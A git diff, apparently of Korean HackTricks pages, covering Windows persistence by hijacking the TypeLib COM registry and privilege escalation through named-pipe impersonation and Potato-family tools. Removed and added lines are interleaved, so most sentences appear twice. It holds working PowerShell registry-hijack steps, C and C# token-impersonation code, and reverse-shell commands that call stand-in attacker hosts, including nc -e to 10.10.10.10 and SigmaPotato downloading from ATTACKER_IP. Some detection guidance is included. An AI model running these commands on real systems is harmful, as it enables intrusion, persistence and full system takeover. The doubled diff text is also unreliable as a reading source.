Type Libraries (TypeLib)는 COM 인터페이스를 정의하며 `LoadTypeLib()` 통해 로드됩니다. COM 서버가 인스턴스화될 때, OS는 `HKCR\TypeLib\{LIBID}` 아래의 레지스트리 키를 참조하여 관련 TypeLib를 로드할 수도 있습니다. TypeLib 경로가 **moniker**로 대체되면(예: `script:C:\...\evil.sct`), TypeLib가 해석될 때 Windows는 해당 scriptlet을 실행합니다 — 일반 구성 요소가 호출될 때 작동하는 은밀한 persistence를 제공합니다.
Type Libraries (TypeLib)는 COM 인터페이스를 정의하며 `LoadTypeLib()` 통해 로드됩니다. COM 서버가 인스턴스화될 때, OS는 `HKCR\TypeLib\{LIBID}` 아래의 레지스트리 키를 참조하여 연관된 TypeLib를 함께 로드할 수 있습니다. TypeLib 경로가 **moniker**, 예: `script:C:\...\evil.sct`로 대체되면 TypeLib가 해결될 때 Windows는 스크립틀릿을 실행합니다 — 일반적인 구성 요소가 호출될 때 발동하는 은밀한 persistence를 만들게 됩니다.
기법은 Microsoft Web Browser control(자주 Internet Explorer, WebBrowser를 임베드한 앱, 심지어 `explorer.exe`에서 로드됨)을 대상으로 관찰되었습니다.
것은 Microsoft Web Browser control에 대해 관찰되었습니다(자주 Internet Explorer, WebBrowser를 임베드한 앱, 심지어 `explorer.exe`에 의해 로드됩니다).
### Steps (PowerShell)
1) 고빈도 CLSID가 사용하는 TypeLib (LIBID)를 식별합니다. 예시로 악성코드 체인에서 자주 남용되는 CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
1) 자주 호출되는 CLSID가 사용하는 TypeLib (LIBID)를 식별합니다. 예시로 malware chains에서 자주 악용되는 CLSID: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (Microsoft Web Browser).
```powershell
$clsid = '{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}'
$libid = (Get-ItemProperty -Path "Registry::HKCR\\CLSID\\$clsid\\TypeLib").'(default)'
$ver = (Get-ChildItem "Registry::HKCR\\TypeLib\\$libid" | Select-Object -First 1).PSChildName
"CLSID=$clsid LIBID=$libid VER=$ver"
```
2) 사용자별 TypeLib 경로를 `script:` 모니커를 사용해 로컬 scriptlet을 가리키도록 정 (관리자 권한 불필요):
2) 사용자별 TypeLib 경로를 `script:` 모니커를 사용해 로컬 scriptlet을 가리키도록 정 (관리자 권한 불필요):
```powershell
$dest = 'C:\\ProgramData\\Udate_Srv.sct'
New-Item -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Force | Out-Null
Set-ItemProperty -Path "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver\\0\\win32" -Name '(default)' -Value "script:$dest"
```
3) 최소한의 JScript `.sct`를 배치해 primary payload(예: initial chain에서 사용된 `.lnk`)를 재실행시킵니다:
3) 기본 페이로드(예: 초기 체인에서 사용되는 `.lnk`)를 다시 실행하는 최소한의 JScript `.sct`를 드롭합니다:
```xml
<?xml version="1.0"?>
<scriptlet>
@ -114,7 +114,7 @@ sh.Run(cmd, 0, false);
</script>
</scriptlet>
```
4) Triggering IE를 열거나 WebBrowser control을 포함한 애플리케이션을 실행하거나 심지어 일반적인 Explorer 동작만으로도 TypeLib가 로드되어 scriptlet이 실행되며, logon/reboot 시 체인이 다시 활성화됩니다.
4) 트리거링 IE를 열거나, WebBrowser control을 임베드한 애플리케이션을 실행하거나, 또는 일반적인 Explorer 활동만으로도 TypeLib를 로드하고 scriptlet을 실행하여 logon/reboot 시 chain을 재장전합니다.
정리
```powershell
@ -124,10 +124,10 @@ Remove-Item -Recurse -Force "HKCU:Software\\Classes\\TypeLib\\$libid\\$ver" 2>$n
Remove-Item -Force 'C:\\ProgramData\\Udate_Srv.sct' 2>$null
```
참고
- 동일한 논리를 다른 사용 빈도가 높은 COM 구성 요소에도 적용할 수 있습니다; 항상 먼저 `HKCR\CLSID\{CLSID}\TypeLib`에서 실제 `LIBID`를 확인하세요.
- 64-bit 시스템에서는 64-bit 소비자를 위해 `win64` 하위키를 채울 수도 있습니다.
- 동일한 논리를 다른 고빈도 COM 구성요소에도 적용할 수 있습니다; 항상 먼저 `HKCR\CLSID\{CLSID}\TypeLib`에서 실제 `LIBID`를 확인하세요.
- 64비트 시스템에서는 64비트 소비자를 위해 `win64` 하위 키를 채울 수도 있습니다.
## 참고자료
## References
- [Hijack the TypeLib New COM persistence technique (CICADA8)](https://cicada-8.medium.com/hijack-the-typelib-new-com-persistence-technique-32ae1d284661)
- [Check Point Research ZipLine Campaign: A Sophisticated Phishing Attack Targeting US Companies](https://research.checkpoint.com/2025/zipline-phishing-campaign/)

View File

@ -2,29 +2,29 @@
{{#include ../../banners/hacktricks-training.md}}
Named Pipe client impersonation은 연결된 클라이언트의 보안 컨텍스트를 채택할 수 있게 해주는 로컬 권한 상승 primitive입니다. 실제로 SeImpersonatePrivilege로 코드를 실행할 수 있는 공격자는 권한 있는 클라이언트(예: SYSTEM 서비스)를 공격자가 제어하는 파이프에 연결하도록 유도하고, ImpersonateNamedPipeClient를 호출한 뒤 생성된 토큰을 primary 토큰으로 복제하여 클라이언트 계정(종종 NT AUTHORITY\SYSTEM)으로 프로세스를 실행할 수 있습니다.
Named Pipe client impersonation은 명명된 파이프 서버 스레드가 연결하는 클라이언트의 보안 컨텍스트를 채택할 수 있게 해주는 로컬 권한 상승 프리미티브입니다. 실무에서는 SeImpersonatePrivilege로 코드 실행이 가능한 공격자가 권한 있는 클라이언트(예: SYSTEM 서비스)를 공격자가 제어하는 파이프에 연결하도록 유도하고, ImpersonateNamedPipeClient를 호출해 생성된 토큰을 primary 토큰으로 복제한 다음 클라이언트 계정(대개 NT AUTHORITY\SYSTEM)으로 프로세스를 생성할 수 있습니다.
이 페이지는 핵심 기법에 중점을 둡니다. SYSTEM을 당신의 파이프로 강제로 연결시키는 end-to-end exploit chains에 대해서는 아래에 참조된 Potato family 페이지들을 보세요.
이 페이지는 핵심 기법에 초점을 맞춥니다. SYSTEM을 당신의 파이프에 연결하도록 강제하는 엔드투엔드 익스플로잇 체인에 대해서는 아래에 참조된 Potato family 페이지를 참조하세요.
## TL;DR
- Create a named pipe: \\.\pipe\<random> and wait for a connection.
- 권한 있는 구성요소가 여기에 연결하도록 만드세요 (spooler/DCOM/EFSRPC/etc.).
- 파이프에서 적어도 하나의 메시지를 읽은 다음 ImpersonateNamedPipeClient를 호출하세요.
- 현재 스레드에서 임퍼소네이션 토큰을 열고, DuplicateTokenEx(TokenPrimary)로 복제한 뒤 CreateProcessWithTokenW/CreateProcessAsUser로 SYSTEM 프로세스를 얻으세요.
- 명명된 파이프 생성: \\.\pipe\<random> 을 만들고 연결을 대기합니다.
- 권한 있는 구성요소를 해당 파이프에 연결되도록 유도합니다 (spooler/DCOM/EFSRPC/etc.).
- 파이프에서 적어도 한 메시지를 읽은 다음 ImpersonateNamedPipeClient를 호출합니다.
- 현재 스레드의 임시화된 토큰을 열고, DuplicateTokenEx(TokenPrimary)로 primary 토큰을 만들고 CreateProcessWithTokenW/CreateProcessAsUser를 사용해 SYSTEM 프로세스를 획득합니다.
## 요구 사항 및 주요 API
- 호출 프로세스/스레드가 일반적으로 필요로 하는 권한:
- SeImpersonatePrivilege — 연결된 클라이언트를 성공적으로 임퍼소네이트하고 CreateProcessWithTokenW를 사용하기 위해 필요합니다.
- 또는 SYSTEM을 임퍼소네이트한 상태에서 CreateProcessAsUser를 사용할 수 있으며, 이 경우 SeAssignPrimaryTokenPrivilege 및 SeIncreaseQuotaPrivilege가 필요할 수 있습니다(이 권한들은 SYSTEM을 임퍼소네이트한 상태에서는 충족됩니다).
## Requirements and key APIs
- 호출 프로세스/스레드에 일반적으로 필요한 권한:
- SeImpersonatePrivilege — 연결된 클라이언트를 성공적으로 임시화하고 CreateProcessWithTokenW를 사용하려면 필요합니다.
- 또는 SYSTEM을 임시화한 후 CreateProcessAsUser를 사용할 수 있으며, 이 경우 SeAssignPrimaryTokenPrivilege 및 SeIncreaseQuotaPrivilege가 필요할 수 있습니다(이 권한들은 SYSTEM을 임시화했을 때 충족됩니다).
- 사용되는 핵심 API:
- CreateNamedPipe / ConnectNamedPipe
- ReadFile/WriteFile (임퍼소네이션 전에 적어도 하나의 메시지를 읽어야 함)
- ReadFile/WriteFile (임시화 전에 적어도 한 메시지를 읽어야 함)
- ImpersonateNamedPipeClient 및 RevertToSelf
- OpenThreadToken, DuplicateTokenEx(TokenPrimary)
- CreateProcessWithTokenW or CreateProcessAsUser
- 임퍼소네이션 레벨: 로컬에서 유용한 작업을 수행하려면 클라이언트가 SecurityImpersonation을 허용해야 합니다(많은 로컬 RPC/명명된 파이프 클라이언트의 기본값). 클라이언트는 파이프를 열 때 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION로 이를 낮출 수 있습니다.
- CreateProcessWithTokenW 또는 CreateProcessAsUser
- 임시화 수준: 로컬에서 유용한 작업을 수행하려면 클라이언트가 SecurityImpersonation을 허용해야 합니다(많은 로컬 RPC/명명된 파이프 클라이언트의 기본값). 클라이언트는 파이프를 열 때 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION을 사용해 이 수준을 낮출 수 있습니다.
## 최소 Win32 워크플로우 (C)
## Minimal Win32 workflow (C)
```c
// Minimal skeleton (no error handling hardening for brevity)
#include <windows.h>
@ -69,11 +69,11 @@ return 0;
}
```
참고:
- ImpersonateNamedPipeClient가 ERROR_CANNOT_IMPERSONATE (1368)를 반환할 경우, 먼저 파이프에서 읽었는지 확인하고 클라이언트가 impersonation을 Identification level로 제한하지 않았는지 확인하세요.
- 프로세스 생성에 적합한 primary token을 만들려면 DuplicateTokenEx를 SecurityImpersonation 및 TokenPrimary와 함께 사용하는 것이 좋습니다.
- If ImpersonateNamedPipeClient returns ERROR_CANNOT_IMPERSONATE (1368), 먼저 파이프에서 읽었는지와 클라이언트가 임퍼스네이션을 Identification level로 제한하지 않았는지 확인하세요.
- 프로세스 생성에 적합한 주 토큰을 생성할 때는 SecurityImpersonation 및 TokenPrimary와 함께 DuplicateTokenEx를 사용하는 것이 좋습니다.
## .NET 빠른 예제
.NET에서는 NamedPipeServerStream가 RunAsClient를 통해 impersonate할 수 있습니다. 일단 impersonate한 후에는 thread token을 복제하여 프로세스를 생성하세요.
.NET에서 NamedPipeServerStream는 RunAsClient를 통해 임퍼스네이션할 수 있습니다. 임퍼스네이션 상태가 되면 스레드 토큰을 복제한 다음 프로세스를 생성하세요.
```csharp
using System; using System.IO.Pipes; using System.Runtime.InteropServices; using System.Diagnostics;
class P {
@ -93,13 +93,13 @@ Process pi; CreateProcessWithTokenW(p, 2, null, null, 0, IntPtr.Zero, null, ref
}
}
```
## SYSTEM을 당신의 pipe로 유도하는 일반적인 트리거/강제 방법
이 기술들은 권한 있는 서비스가 당신의 named pipe에 연결하도록 강제하여 해당 서비스를 가장할 수 있게 합니다:
## SYSTEM을 파이프로 끌어오기 위한 일반적인 트리거/강제 방법
이 기법들은 특권 서비스가 당신의 named pipe에 연결하도록 강제하여 해당 서비스를 가장(impersonate)할 수 있게 합니다:
- Print Spooler RPC trigger (PrintSpoofer)
- DCOM activation/NTLM reflection variants (RoguePotato/JuicyPotato[NG], GodPotato)
- EFSRPC pipes (EfsPotato/SharpEfsPotato)
자세한 사용법 및 호환성은 다음을 참조하세요:
See detailed usage and compatibility here:
-
{{#ref}}
@ -110,27 +110,27 @@ roguepotato-and-printspoofer.md
juicypotato.md
{{#endref}}
서비스 트리거로부터 SYSTEM을 spawn하기 위해 파이프를 제작하고 가장하는 전체 예제가 필요하면 다음을 참조하세요:
If you just need a full example of crafting the pipe and impersonating to spawn SYSTEM from a service trigger, see:
-
{{#ref}}
from-high-integrity-to-system-with-name-pipes.md
{{#endref}}
## 문제 해결 및 주의 사항
- ImpersonateNamedPipeClient를 호출하기 전에 pipe에서 적어도 하나의 메시지를 읽어야 합니다; 그렇지 않으면 ERROR_CANNOT_IMPERSONATE (1368)가 발생합니다.
- 클라이언트가 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION으로 연결하면 서버가 완전히 가장할 수 없습니다; GetTokenInformation(TokenImpersonationLevel)를 통해 토큰의 impersonation level을 확인하세요.
- CreateProcessWithTokenW는 호출자에게 SeImpersonatePrivilege가 필요합니다. 만약 ERROR_PRIVILEGE_NOT_HELD (1314)로 실패하면, 이미 SYSTEM을 가장한 상태에서 CreateProcessAsUser를 사용하세요.
- 파이프를 강화(harden)했다면 대상 서비스가 연결할 수 있도록 파이프의 security descriptor를 확인하세요; 기본적으로 \\.\pipe 아래의 파이프는 서버의 DACL에 따라 접근 가능합니다.
## 문제해결 및 주의사항
- ImpersonateNamedPipeClient를 호출하기 전에 파이프에서 최소한 하나의 메시지를 읽어야 합니다; 그렇지 않으면 ERROR_CANNOT_IMPERSONATE (1368)가 발생합니다.
- 클라이언트가 SECURITY_SQOS_PRESENT | SECURITY_IDENTIFICATION으로 연결하면 서버가 완전한 임시 권한으로 가장할 수 없습니다; 토큰의 임시권한 수준은 GetTokenInformation(TokenImpersonationLevel)으로 확인하세요.
- CreateProcessWithTokenW는 호출자에게 SeImpersonatePrivilege를 요구합니다. 만약 ERROR_PRIVILEGE_NOT_HELD (1314)로 실패하면, 이미 SYSTEM을 임시로 가장한 후 CreateProcessAsUser를 사용하세요.
- 파이프를 강화(harden)한 경우 대상 서비스가 연결할 수 있도록 파이프의 security descriptor를 확인하세요; 기본적으로 \\.\pipe 아래의 파이프는 서버의 DACL에 따라 접근 가능합니다.
## 탐지 및 하드닝
- named pipe 생성 및 연결을 모니터링하세요. Sysmon Event IDs 17 (Pipe Created) 및 18 (Pipe Connected)는 정상적인 pipe 이름을 기준으로 삼고 토큰 조작 이벤트에 앞서는 비정상적이거나 무작위같은 pipe를 포착하는 데 유용합니다.
- 다음과 같은 순서를 찾아보세요: 프로세스가 pipe를 생성 → SYSTEM 서비스가 연결 → 생성한 프로세스가 SYSTEM으로 자식 프로세스를 spawn.
- 비필수 서비스 계정에서 SeImpersonatePrivilege를 제거하고, 높은 권한으로의 불필요한 서비스 로그온을 피하여 노출을 줄이세요.
- 방어적 개발: 신뢰할 수 없는 named pipe에 연결할 때, 서버가 불필요하게 클라이언트를 완전히 가장하지 못하도록 SECURITY_SQOS_PRESENT와 SECURITY_IDENTIFICATION을 지정하세요.
## 탐지 및 강화
- named pipe 생성 및 연결을 모니터링하세요. Sysmon Event IDs 17 (Pipe Created) 및 18 (Pipe Connected)은 정상 파이프 이름의 기준선을 만들고 토큰 조작 이벤트 전에 발생하는 비정상적이거나 무작위처럼 보이는 파이프를 감지하는 데 유용합니다.
- 다음과 같은 순서를 찾아보세요: 프로세스가 파이프를 생성 → SYSTEM 서비스가 연결 → 생성한 프로세스가 SYSTEM으로 자식 프로세스를 생성.
- 불필요한 서비스 계정에서 SeImpersonatePrivilege를 제거하고 고권한으로의 불필요한 서비스 로그온을 피하여 노출을 줄이세요.
- 방어적 개발 지침: 신뢰할 수 없는 named pipes에 연결할 때는 SECURITY_SQOS_PRESENT와 SECURITY_IDENTIFICATION을 지정하여 필요하지 않은 한 서버가 클라이언트를 완전하게 임시 권한으로 획득하지 못하도록 하세요.
## References
- Windows: ImpersonateNamedPipeClient documentation (impersonation requirements and behavior). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes privilege escalation (walkthrough and code examples). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
## 참조
- Windows: ImpersonateNamedPipeClient 문서 (임시권한 요구사항 및 동작). https://learn.microsoft.com/en-us/windows/win32/api/namedpipeapi/nf-namedpipeapi-impersonatenamedpipeclient
- ired.team: Windows named pipes 권한 상승 (절차 및 코드 예제). https://ired.team/offensive-security/privilege-escalation/windows-namedpipes-privilege-escalation
{{#include ../../banners/hacktricks-training.md}}

View File

@ -22,23 +22,23 @@ from-high-integrity-to-system-with-name-pipes.md
privilege-escalation-abusing-tokens.md
{{#endref}}
## 요구사항 및 일반적인 주의사항
## 요구사항 및 일반적인 주의
다음의 모든 기법은 임프리소네이션(impersonation) 기능을 가진 특권 서비스를, 다음 권한 중 하나를 보유한 컨텍스트에서 악용하는 데 의존합니다:
다음의 모든 기법은 이러한 권한 중 하나를 보유한 컨텍스트에서 impersonation-capable privileged service를 악용하는 것에 의존합니다:
- SeImpersonatePrivilege (가장 흔함) 또는 SeAssignPrimaryTokenPrivilege
- 토큰이 이미 SeImpersonatePrivilege를 가지고 있다면 높은 무결성(High integrity)은 필요하지 않습니다 (IIS AppPool, MSSQL 등 많은 서비스 계정에서 일반적임).
- SeImpersonatePrivilege (most common) or SeAssignPrimaryTokenPrivilege
- 토큰에 이미 SeImpersonatePrivilege가 있는 경우(예: IIS AppPool, MSSQL 등 많은 서비스 계정에 흔함) High integrity는 필요하지 않습니다.
권한을 빠르게 확인:
```cmd
whoami /priv | findstr /i impersonate
```
운영 참고:
운영 노트:
- PrintSpoofer는 Print Spooler 서비스가 실행 중이며 로컬 RPC 엔드포인트(spoolss)를 통해 접근 가능해야 합니다. PrintNightmare 이후 Spooler가 비활성화된 하드닝된 환경에서는 RoguePotato/GodPotato/DCOMPotato/EfsPotato를 선호하세요.
- RoguePotato는 TCP/135에서 접근 가능한 OXID resolver가 필요합니다. egress가 차단된 경우 리디렉터/포트 포워더를 사용하세요(아래 예시 참고). 이전 빌드에서는 -f 플래그가 필요했습니다.
- EfsPotato/SharpEfsPotato는 MS-EFSR을 악용합니다; 하나의 파이프가 차단되면 대체 파이프(lsarpc, efsrpc, samr, lsass, netlogon)를 시도하세요.
- RpcBindingSetAuthInfo 중 발생하는 오류 0x6d3은 일반적으로 알 수 없거나 지원되지 않는 RPC 인증 서비스임을 나타냅니다; 다른 파이프/전송을 시도하거나 대상 서비스가 실행 중인지 확인하세요.
- PrintSpoofer는 Print Spooler 서비스가 실행 중이고 로컬 RPC 엔드포인트 (spoolss)를 통해 접근 가능해야 합니다. 강화된 환경에서 PrintNightmare 이후 Spooler가 비활성화된 경우 RoguePotato/GodPotato/DCOMPotato/EfsPotato를 선호하세요.
- RoguePotato는 TCP/135에서 접근 가능한 OXID resolver가 필요합니다. 이그레스가 차단된 경우 리디렉터/포트 포워더를 사용하세요(아래 예시 참조). 이전 빌드는 -f 플래그가 필요했습니다.
- EfsPotato/SharpEfsPotato는 MS-EFSR을 악용합니다; 특정 파이프가 차단되면 대체 파이프(lsarpc, efsrpc, samr, lsass, netlogon)를 시도하세요.
- RpcBindingSetAuthInfo 중 Error 0x6d3는 일반적으로 알려지지 않았거나 지원되지 않는 RPC 인증 서비스임을 나타냅니다; 다른 파이프/전송을 시도하거나 대상 서비스가 실행 중인지 확인하세요.
## 빠른 데모
@ -57,7 +57,8 @@ c:\PrintSpoofer.exe -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd"
NULL
```
- 현재 콘솔에서 대화형 프로세스를 생성하려면 -i를 사용하고, 한 줄 명령을 실행하려면 -c를 사용하세요.
참고:
- 현재 콘솔에서 대화형 프로세스를 생성하려면 -i를 사용하고, 한 줄 명령을 실행하려면 -c를 사용할 수 있습니다.
- Spooler 서비스가 필요합니다. 비활성화되어 있으면 실패합니다.
### RoguePotato
@ -66,7 +67,7 @@ c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -l
# In some old versions you need to use the "-f" param
c:\RoguePotato.exe -r 10.10.10.10 -c "c:\tools\nc.exe 10.10.10.10 443 -e cmd" -f 9999
```
만약 outbound 135가 차단되어 있다면, redirector에서 socat을 통해 OXID resolver를 피벗하세요:
outbound 135가 차단된 경우, redirector에서 socat을 통해 OXID resolver를 pivot하세요:
```bash
# On attacker redirector (must listen on TCP/135 and forward to victim:9999)
socat tcp-listen:135,reuseaddr,fork tcp:VICTIM_IP:9999
@ -110,7 +111,7 @@ CVE-2021-36942 patch bypass (EfsRpcEncryptFileSrv method) + alternative pipes su
nt authority\system
```
팁: 하나의 pipe가 실패하거나 EDR이 차단하면, 다른 지원되는 pipes를 시도하세요:
팁: 한 pipe가 실패하거나 EDR이 차단하면, 지원되는 다른 pipes를 시도해보세요:
```text
EfsPotato <cmd> [pipe]
pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
@ -122,13 +123,13 @@ pipe -> lsarpc|efsrpc|samr|lsass|netlogon (default=lsarpc)
> GodPotato -cmd "nc -t -e C:\Windows\System32\cmd.exe 192.168.1.102 2012"
```
참고:
- Windows 8/8.111 및 Server 20122022에서 SeImpersonatePrivilege가 있을 때 작동합니다.
- SeImpersonatePrivilege가 존재할 경우 Windows 8/8.111 및 Server 20122022에서 작동합니다.
### DCOMPotato
![image](https://github.com/user-attachments/assets/a3153095-e298-4a4b-ab23-b55513b60caa)
DCOMPotato는 기본값이 RPC_C_IMP_LEVEL_IMPERSONATE인 서비스 DCOM 객체를 대상으로 하는 두 가지 변형을 제공합니다. 제공된 바이너리를 빌드하거나 사용한 다음 명령을 실행하세요:
DCOMPotato는 RPC_C_IMP_LEVEL_IMPERSONATE를 기본값으로 하는 서비스 DCOM 객체를 대상으로 하는 두 가지 변형을 제공합니다. 제공된 binaries를 빌드하거나 사용한 뒤 명령을 실행하세요:
```cmd
# PrinterNotify variant
PrinterNotifyPotato.exe "cmd /c whoami"
@ -136,9 +137,9 @@ PrinterNotifyPotato.exe "cmd /c whoami"
# McpManagementService variant (Server 2022 also)
McpManagementPotato.exe "cmd /c whoami"
```
### SigmaPotato (updated GodPotato fork)
### SigmaPotato (업데이트된 GodPotato 포크)
SigmaPotato는 .NET 리플렉션을 통한 인메모리 실행과 PowerShell reverse shell helper 같은 현대적인 편의 기능을 추가합니다.
SigmaPotato는 .NET reflection을 통한 메모리 내 실행과 PowerShell reverse shell helper 같은 최신 편의 기능을 추가합니다.
```powershell
# Load and execute from memory (no disk touch)
[System.Reflection.Assembly]::Load((New-Object System.Net.WebClient).DownloadData("http://ATTACKER_IP/SigmaPotato.exe"))
@ -147,13 +148,13 @@ SigmaPotato는 .NET 리플렉션을 통한 인메모리 실행과 PowerShell rev
# Or ask it to spawn a PS reverse shell
[SigmaPotato]::Main(@("--revshell","ATTACKER_IP","4444"))
```
## 탐지 및 강화 노트
## 탐지 및 하드닝 참고사항
- Monitor for processes creating named pipes and immediately calling token-duplication APIs followed by CreateProcessAsUser/CreateProcessWithTokenW. Sysmon은 유용한 텔레메트리를 제공합니다: Event ID 1 (process creation), 17/18 (named pipe created/connected), 그리고 SYSTEM으로 자식 프로세스를 생성하는 명령줄을 관찰하세요.
- Spooler hardening: 필요하지 않은 서버에서 Print Spooler 서비스를 비활성화하면 spoolss를 통한 PrintSpoofer-style 로컬 강제 실행을 방지할 수 있습니다.
- Service account hardening: custom 서비스에 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege 할당을 최소화하세요. 가능한 경우 필요한 최소 권한의 virtual accounts로 서비스를 실행하고, service SID 및 write-restricted tokens로 격리하는 것을 고려하세요.
- Network controls: outbound TCP/135 차단 또는 RPC endpoint mapper 트래픽 제한은 내부 redirector가 없으면 RoguePotato를 무력화할 수 있습니다.
- EDR/AV: 이러한 도구들은 대체로 시그니처 기반 탐지가 널리 적용되어 있습니다. 소스에서 재컴파일하거나 심볼/문자열을 변경하거나 in-memory execution을 사용하면 탐지를 줄일 수 있지만, 견고한 동작 기반 탐지를 완전히 우회하진 못합니다.
- 명명된 파이프(named pipes)를 생성하고 즉시 token-duplication APIs를 호출한 후 CreateProcessAsUser/CreateProcessWithTokenW를 호출하는 프로세스를 모니터링하세요. Sysmon은 유용한 텔레메트리를 제공할 수 있습니다: Event ID 1 (process creation), 17/18 (named pipe created/connected), 및 SYSTEM으로 자식 프로세스를 생성하는 명령줄.
- Spooler hardening: 필요 없는 서버에서 Print Spooler 서비스를 비활성화하면 spoolss를 통한 PrintSpoofer-style 로컬 강제 실행을 방지할 수 있습니다.
- Service account hardening: 커스텀 서비스에 SeImpersonatePrivilege/SeAssignPrimaryTokenPrivilege 할당을 최소화하세요. 가능한 경우 최소 권한의 가상 계정으로 서비스를 실행하고, service SID 및 write-restricted tokens로 격리하는 것을 고려하세요.
- Network controls: 아웃바운드 TCP/135를 차단하거나 RPC endpoint mapper 트래픽을 제한하면 내부 redirector가 없는 한 RoguePotato를 방해할 수 있습니다.
- EDR/AV: 이 도구들은 모두 널리 시그니처화되어 있습니다. 소스에서 다시 컴파일하거나 심볼/문자열을 변경하거나 인메모리 실행을 사용하면 탐지율을 낮출 수 있지만, 견고한 행위 기반 탐지를 완전히 회피하지는 못합니다.
## 참고자료